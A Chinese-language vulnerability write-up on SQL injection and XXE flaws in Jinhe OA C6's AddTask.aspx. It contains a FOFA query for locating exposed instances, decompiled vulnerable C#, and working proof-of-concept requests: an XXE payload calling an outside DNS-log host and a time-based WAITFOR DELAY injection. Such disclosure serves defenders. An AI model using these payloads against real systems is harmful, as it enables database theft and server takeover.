漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 AddTask.aspx 接口处存在SQL注入漏洞，同时该接口还存在XXE漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

先看下 AddTask.aspx 的实现

<%@ Page language="c#" Codebehind="AddTask.aspx.cs" AutoEventWireup="True" Inherits="JHSoft.Web.DailyTaskManage.AddTask" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
    <HEAD>
       <title>AddTask</title>
       <meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1">
       <meta name="CODE_LANGUAGE" Content="C#">
       <meta name="vs_defaultClientScript" content="JavaScript">
       <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5">
    </HEAD>
    <body>
       <form id="Form1" method="post" runat="server">

       </form>
    </body>
</HTML>

在 bin 目录下查找 JHSoft.Web.DailyTaskManage.dll 将其进行反编译后找到 AddTask 的处理逻辑

private XmlDocument xmlDocument = new XmlDocument();
public string XmlStr;
protected HtmlForm Form1;

protected void Page_Load(object sender, EventArgs e)
{
  this.xmlDocument.Load(this.Request.InputStream);
  string innerText = this.xmlDocument.SelectSingleNode("//root//Page//PageName").InnerText;
  this.XmlStr = this.xmlDocument.DocumentElement.OuterXml;
  this.Xml(innerText);
}

private void Xml(string strPageName)
{
  string str1 = string.Empty;
  string empty1 = string.Empty;
  string empty2 = string.Empty;
  string empty3 = string.Empty;
  string str2 = strPageName;
  if (str2 != null)
  {
    if (!string.op_Equality(str2, "TaskDetect"))
    {
      if (string.op_Equality(str2, "TaskAdd"))
        ;
    }
    else
      str1 = new DetectCls().DetectResource("Calendar", "1", this.xmlDocument.SelectSingleNode("//root//TaskExecutorID").InnerText, this.xmlDocument.SelectSingleNode("//root//StartTime").InnerText, this.xmlDocument.SelectSingleNode("//root//EndTime").InnerText) ? "0" : "1";
  }
  ((Control) this).Page.Response.Write(str1);
  this.Response.End();
}

请求内容直接使 xmlDocument.Load 加载处理，造成XXE漏洞。

再跟进 DetectCls 的 DetectResource 方法，其实现如下

public bool DetectResource(
  string strModeId,
  string strResourceType,
  string strResourceId,
  string strStartTime,
  string strEndTime)
{
  if (string.op_Equality(strResourceId, ""))
    return false;
  strResourceId = $"'{strResourceId.Replace(",", "','")}'";
  if (((InternalDataCollectionBase) this.op.ExecSQLReDataTable($"select id,starttime,endtime from resourcedetect where modeid='{strModeId}' and resourcetype='{strResourceType}' and resourceid in ({strResourceId}) and ((datediff(minute,'{strStartTime}',starttime)<=0 and datediff(minute,'{strEndTime}',endtime)>=0) or  (datediff(minute,'{strStartTime}',starttime)<=0 and datediff(minute,'{strStartTime}',endtime)>=0 and datediff(minute,'{strEndTime}',endtime)<=0) or  (datediff(minute,'{strStartTime}',starttime)>=0 and datediff(minute,'{strEndTime}',starttime)<=0 and datediff(minute,'{strEndTime}',endtime)>=0) or  (datediff(minute,'{strStartTime}',starttime)>=0 and datediff(minute,'{strEndTime}',endtime)<=0))").Rows).Count > 0 || this.op.IsError)
  {
    this.StrErrorMessage = this.op.ErrorMessage;
    return false;
  }
  return this.RegisterResource(strModeId, strResourceType, strResourceId, strStartTime, strEndTime);
}

参数 strResourceId 被直接拼接进 ExecSQLReDataTable SQL语句中执行，无任何过滤或校验，导致SQL注入漏洞。

漏洞复现

XXE

POST /c6/Jhsoft.Web.dailytaskmanage/AddTask.aspx/ HTTP/1.1
Content-Type: application/xml
Host: jhsoft.mrxn.net

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.vk8uek6g.dnslog.pt/xxe_test">
%remote;]>
<root/>

SQL注入

POST /c6/Jhsoft.Web.dailytaskmanage/AddTask.aspx/ HTTP/1.1
Content-Type: application/xml
Host: jhsoft.mrxn.net

<root>
  <Page>
    <PageName>TaskDetect</PageName>
  </Page>
  <StartTime>2023-01-01 00:00:00</StartTime>
  <EndTime>2023-01-01 00:00:00</EndTime>
  <TaskExecutorID>3');WAITFOR DELAY'0:0:5'-- </TaskExecutorID>
</root>

成功延时 5 秒钟